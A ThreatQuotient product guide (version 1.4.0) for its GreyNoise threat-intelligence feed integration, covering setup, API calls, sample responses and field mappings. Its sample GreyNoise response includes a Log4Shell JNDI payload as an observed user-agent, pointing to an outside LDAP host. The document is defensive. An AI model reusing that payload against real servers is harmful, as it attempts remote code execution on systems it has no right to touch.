

ThreatQuotient



GreyNoise CDF Guide

Version 1.4.0

November 08, 2022

ThreatQuotient

20130 Lakeview Center Plaza Suite 400
Ashburn, VA 20147



ThreatQ Supported

Support

Email: support@threatq.com

Web: support.threatq.com

Phone: 703.574.9893

Contents

- Integration Details..... 5
- Introduction 6
- Installation..... 7
- Configuration 8
- ThreatQ Mapping 10
 - GreyNoise (Feed)..... 10
 - Table Mapping..... 11
 - GreyNoise Enrichment (Feed) 12
 - Context 13
 - Riot..... 14
 - Table Mapping..... 14
- Average Feed Run..... 16
 - GreyNoise Feed 16
 - GreyNoise Enrichment 16
- Known Issues / Limitations 17
- Change Log..... 18

Warning and Disclaimer

ThreatQuotient, Inc. provides this document “as is”, without representation or warranty of any kind, express or implied, including without limitation any warranty concerning the accuracy, adequacy, or completeness of such information contained herein. ThreatQuotient, Inc. does not assume responsibility for the use or inability to use the software product as a result of providing this information.

Copyright © 2022 ThreatQuotient, Inc.

All rights reserved. This document and the software product it describes are licensed for use under a software license agreement. Reproduction or printing of this document is permitted in accordance with the license agreement.

Support

This integration is designated as **ThreatQ Supported**.

Support Email: support@threatq.com

Support Web: <https://support.threatq.com>

Support Phone: 703.574.9893

Integrations/apps/add-ons designated as **ThreatQ Supported** are fully supported by ThreatQuotient's Customer Support team.

ThreatQuotient strives to ensure all ThreatQ Supported integrations will work with the current version of ThreatQuotient software at the time of initial publishing. This applies for both Hosted instance and Non-Hosted instance customers.



ThreatQuotient does not provide support or maintenance for integrations, apps, or add-ons published by any party other than ThreatQuotient, including third-party developers.

Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version	1.4.0
Compatible with ThreatQ Versions	>= 4.35.0
Support Tier	ThreatQ Supported
ThreatQ Marketplace	https://marketplace.threatq.com/details/greynoise

Introduction

The GreyNoise CDF for ThreatQ enables analysts to ingest malicious IP addresses from the GreyNoise API.

GreyNoise collects, analyzes, and labels data on IPs that saturate security tools with noise. This unique perspective helps analysts waste less time on irrelevant or harmless activity, and spend more time focused on targeted and emerging threats.

The GreyNoise CDF provides the following feeds:

- **GreyNoise** - ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.
- **GreyNoise Enrichment** - queries GreyNoise with IP Addresses from a Threat Collection and enriches those IP Addresses with the data that it ingests.

The following system object type is ingested by the integration:

- Adversaries
- Indicators
 - Indicator Attributes
- Vulnerabilities

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the integration file on your local machine



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

6. If prompted, select the individual feeds to install and click **Install**. The feed will be added to the integrations page.

You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).
3. Click on the integration entry to open its details page.
4. Enter the following parameters under the **Configuration** tab:

PARAMETER	DESCRIPTION
API Token	Your GreyNoise API Token.
GNQL Query (<i>GreyNoise Feed Only</i>)	ThreatQuotient highly recommends utilizing this parameter to narrow down the ingested dataset. The field allows you to specify query arguments other than <code>last_seen</code> field, which is the default. See the https://docs.greynoise.io/reference/gnqlquery-1 documentation for instructions on how to build a GNQL query.
Ingest Scanned Paths as Attributes	Enable or disable the ability to ingest the scanned paths as attributes.  The Scanned Paths list may include 10+ paths.
Ingest Scanned Ports as Attributes	Enable or disable the ability to ingest the scanned ports as attributes.  The Scanned ports list may include 100+ ports.

PARAMETER

DESCRIPTION

**Data
Collection
Hash**
*(GreyNoise
Enrichment
Only)*

The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection. The hash will be in the browser's URL.

Example: `https:// /threat-library#38d08c87b6e81a37a8591444f8c5dba5`

< GreyNoise

Disabled ☐ Enabled

Uninstall

Additional Information

Integration Type: Feed

Version: 1.4.0

Configuration

Activity Log

API Key

Your GreyNoise API Key

GNQL Query

This query allows you to specify an extension to the default query of 'last_seen<id>'. Using this field is required in order to limit the amount of data that is ingested.

☒ Ingest Scanned Paths as Attributes

Enable or disable the ability to ingest the scanned paths as attributes. The Scanned Paths list may include 10+ paths.

☐ Ingest Scanned Ports as Attributes

Enable or disable the ability to ingest the scanned ports as attributes. The Scanned Ports list may include 100+ ports.

Set indicator status to...

Active

Run Frequency

Every 24 Hours

☒ Send a notification when this feed encounters issues.

☐ Debug Option: Save the raw data response files.
We recommend leaving this disabled unless actively troubleshooting an issue because it utilizes a lot of disk space.

Save

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

GreyNoise (Feed)

The GreyNoise feed ingests indicators from the GreyNoise API.

GET <https://api.greynoise.io/v2/experimental/gnql>

Sample Response:

```
{
  "complete": false,
  "count": 23178,
  "data": [
    {
      "ip": "114.25.66.87",
      "seen": true,
      "classification": "malicious",
      "first_seen": "2019-07-28",
      "last_seen": "2019-07-28",
      "actor": "CRAZY PANDA23",
      "tags": [
        "SMB Scanner",
        "Eternalblue"
      ],
      "metadata": {
        "country": "Taiwan, Province of China",
        "country_code": "TW",
        "city": "Nankang",
        "organization": "Data Communication Business Group",
        "rdns": "114-25-66-87.dynamic-ip.hinet.net",
        "asn": "AS3462",
        "tor": false,
        "os": "Windows 7/8",
        "category": "isp",
        "region": "Brussels Capital"
      },
      "raw_data": {
        "scan": [
          {
            "port": 445,
            "protocol": "TCP"
          }
        ],
        "web": {
          "paths": [
            "/",
            "/bootstrap/3.3.6/css/bootstrap.min.css"
          ],
          "useragents": [
            "Hello, world",
            "${jndi:ldap://179.43.175.101:1389/gm7unt}"
          ]
        }
      }
    }
  ]
}
```

```

    },
    "ja3": []
  },
  "cve": [
    "CVE-2016-6277",
    "CVE-2016-6563"
  ],
  "bot": true,
  "vpn": true,
  "vpn_service": "Express VPN",
  "spoofable": true
}
],
"message": "ok",
"query": "classification:malicious AND last_seen:today",
"scroll":
"FGluY2x1ZGVfY29udGV4dF91dWlkDnF1ZXJ5VGhlbkZldGNoBRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjRN3AAAAAAuCRswWSjRhYk1qMGpRV1ctSkpCM1lyS3EyQRZZb01USEV4LVJnLWVJc1BStkE1NDV3AAAAAAsLldcWwVBucXpfcnhRU2E3QTNawG1SW1BzURZhUTg4NDEsS1FpYXdvcTNTdVktMm93AAAAAAjYxu0WMk85akRMUnlTZ3EwWmxDYzRtSnJDQRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjRN3AAAAAAuCRs0WSjRhYk1qMGpRV1ctSkpCM1lyS3EyQRZZb01USEV4LVJnLWVJc1BStkE1NDV3AAAAAAsLldgWwVBucXpfcnhRU2E3QTNawG1SW1BzUQ=="
}

```

Table Mapping

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
.data[].ip	Related Indicator.Value	IP Address	.data[].first_seen	114.25.66.87	N/A
.data[].actor	Indicator.Attribute	Actor	.data[].first_seen	CRAZY PANDA	If this is 'unknown', it will be ignored
.data[].cve[]	Indicator.Attribute	N/A	.data[].first_seen	CVE-2016-6277	N/A
.data[].tags[]	Indicator.Tags	N/A	.data[].first_seen	Eternalblue	N/A
.data[].classification	Indicator.Attribute	Classification	.data[].first_seen	malicious	N/A
.data[].metadata.country	Indicator.Attribute	Country	.data[].first_seen	Taiwan, Province of China	N/A
.data[].metadata.country_code	Indicator.Attribute	Country Code	.data[].first_seen	TW	N/A
.data[].metadata.city	Indicator.Attribute	City	.data[].first_seen	Nankang	N/A
.data[].metadata.region	Indicator.Attribute	Region	.data[].first_seen	Brussels Capital	N/A
.data[].metadata.organization	Indicator.Attribute	Organization	.data[].first_seen	Data Communication Business Group	N/A
.data[].metadata.asn	Indicator.Attribute	ASN	.data[].first_seen	AS3462	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].metadata.tor</code>	Indicator.Attribute	Is Tor	<code>.data[].first_seen</code>	true/false	This is converted to a Yes/No attribute value
<code>.data[].metadata.os</code>	Indicator.Attribute	Operating System	<code>.data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.rdns</code>	Indicator.Attribute	FQDN	<code>.data[].first_seen</code>	114-25-66-87.dynamic-ip.hinet.net	N/A
<code>.data[].metadata.category</code>	Indicator.Attribute	Category	<code>.data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>.data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>.data[].first_seen</code>	Express VPN	N/A
<code>.data[].raw_data.scan.port[]</code>	Indicator.Attribute	Scanned Port	<code>.data[].first_seen</code>	445	N/A
<code>.data[].tags[]</code>	Indicator.Attribute	Malware Family	<code>.data[].first_seen</code>	Mirai	N/A

GreyNoise Enrichment (Feed)

The GreyNoise Enrichment feed enriches IP Addresses from a given Threat Collection with information from GreyNoise.

POST <https://api.greynoise.io/v2/noise/multi/quick>

If the response has `"noise": true`, then proceed to use the Context API endpoint on the IP Address.

If the response has `"riot": true`, then proceed to use the RIOT API endpoint on the IP Address.

Sample Response:

```
[
  {
    "ip": "186.33.111.236",
    "noise": true,
    "riot": false,
    "code": "0x01"
  },
  {
```

```
{
  "ip": "8.8.8.8",
  "noise": false,
  "riot": true,
  "code": "0x09"
}
```

Context

POST <https://api.greynoise.io/v2/noise/multi/context>

Sample Response:

```
{
  "data": [
    {
      "found": false,
      "ip": "186.3.111.236",
      "first_seen": "",
      "last_seen": "",
      "seen": false,
      "tags": null,
      "actor": "",
      "spoofable": false,
      "classification": "",
      "cve": null,
      "bot": false,
      "vpn": false,
      "vpn_service": "",
      "metadata": {
        "asn": "",
        "city": "",
        "country": "",
        "country_code": "",
        "organization": "",
        "category": "",
        "tor": false,
        "rdns": "",
        "os": ""
      },
      "raw_data": {
        "scan": [],
        "web": {},
        "ja3": [],
        "hashh": []
      }
    }
  ],
  "message": "ok",
  "results": 1
}
```

Riot

GET `https://api.greynoise.io/v2/riot/{{value.ip}}`

Sample Response:

```
{
  "ip": "8.8.8.8",
  "riot": true,
  "category": "public_dns",
  "name": "Google Public DNS",
  "description": "Google's global domain name system (DNS) resolution service.",
  "explanation": "Public DNS services are used as alternatives to ISP's name servers. You may see devices on your network communicating with Google Public DNS over port 53/TCP or 53/UDP to resolve DNS lookups.",
  "last_updated": "2021-11-24T19:42:13Z",
  "logo_url": "https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg",
  "reference": "https://developers.google.com/speed/public-dns/docs/isp#alternative",
  "trust_level": "1"
}
```

Table Mapping

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].ip</code>	Related Indicator.Value	IP Address	<code>data[].first_seen</code>	114.25.66.87	N/A
<code>.data[].actor</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	CRAZY PANDA	If this is 'unknown', it will be ignored
<code>.data[].tags[]</code>	Indicator.Tags	N/A	N/A	Eternalblue	The data path is a list of tags
<code>.data[].classification</code>	Indicator.Attribute	Classification	<code>data[].first_seen</code>	malicious	For this feed, this will always be 'malicious'
<code>.data[].cve[]</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	N/A	N/A
<code>.data[].metadata.a.rdns</code>	Indicator.Attribute	FQDN	<code>data[].first_seen</code>	114-25-66-87.dynamic-ip.hinet.net	N/A
<code>.data[].metadata.a.country</code>	Indicator.Attribute	Country	<code>data[].first_seen</code>	Taiwan, Province of China	N/A
<code>.data[].metadata.a.country_code</code>	Indicator.Attribute	Country Code	<code>data[].first_seen</code>	TW	N/A
<code>.data[].metadata.a.city</code>	Indicator.Attribute	City	<code>data[].first_seen</code>	Nankang	N/A
<code>.data[].metadata.a.organization</code>	Indicator.Attribute	Organization	<code>data[].first_seen</code>	Data Communication Business Group	N/A
<code>.data[].metadata.a.asn</code>	Indicator.Attribute	ASN	<code>data[].first_seen</code>	AS3462	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].metadata.a.tor</code>	Indicator.Attribute	Is Tor	<code>data[].first_seen</code>	true/false	This is converted to a yes/no
<code>.data[].metadata.a.os</code>	Indicator.Attribute	Operating System	<code>data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.a.category</code>	Indicator.Attribute	Category	<code>data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.a.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>data[].first_seen</code>	Express VPN	N/A
<code>.data[].name</code>	Indicator.Attribute	Name	<code>data[].first_seen</code>	Google Public DNS	N/A
<code>.data[].code</code>	Indicator.Attribute	Noise Code	<code>data[].first_seen</code>	This IP was found in RIOT	N/A
<code>.data[].trust_level</code>	Indicator.Attribute	Trust Level	<code>data[].first_seen</code>	Trustworthy	N/A
<code>.data[].reference</code>	Indicator.Attribute	Reference	<code>data[].first_seen</code>	https://developers.google.com/speed/public-dns/docs/isp#alternative	N/A
<code>.data[].explanation</code>	Indicator.Attribute	Explanation	<code>data[].first_seen</code>	Public DNS services are used as alternatives to ISP's name servers...	N/A
<code>.data[].description</code>	Indicator.Attribute	Description	<code>data[].first_seen</code>	Google's global domain name system (DNS) resolution service.	N/A
<code>.data[].tags[]</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	Mirai	N/A

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

GreyNoise Feed

METRIC	RESULT
Run Time	5 minutes
Adversaries	4
Indicators	1,300
Indicator Attributes	13,350
Vulnerabilities	52

GreyNoise Enrichment

METRIC	RESULT
Run Time	1 minute
Indicators	80
Indicator Attributes	8,191

Known Issues / Limitations

- The GreyNoise feed has no historical feature due to the sheer amount of indicators from the feed. The feed only pulls in malicious indicators that were last seen today.
- Due to the large amount of indicators in the feed, it is greatly encouraged to provide an additional GNQL query in order to reduce the noise by only ingesting indicators that will be pertinent to your organization. This query will be appended to the base query of, `last_seen:today AND classification:malicious`. See the <http://docs.greynoise.io/#gnql-query> documentation for instructions on how to build a GNQL query.

Change Log

- **Version 1.4.0**
 - Improved integration performance by saving CVE, Malware, RDNS, and ASN as attributes.
 - Removed the **Ingest CVEs** parameter from the configuration page.
- **Version 1.3.0**
 - Fixed a filter error with the GreyNoise Enrichment feed that would occur when GreyNoise did not return any enrichment data.
 - Added a manual run option for the GreyNoise Enrichment feed.
- **Version 1.2.0**
 - Added new GreyNoise Enrichment feed.
 - Add new user configuration fields for GreyNoise feed.
- **Version 1.1.0**
 - Added new user field.
 - Added published date to all attributes.
 - Added tags.
- **Version 1.0.1**
 - Limited the number of ingested paths attributes to 9000 to improve integration performance.
- **Version 1.0.0**
 - Initial Release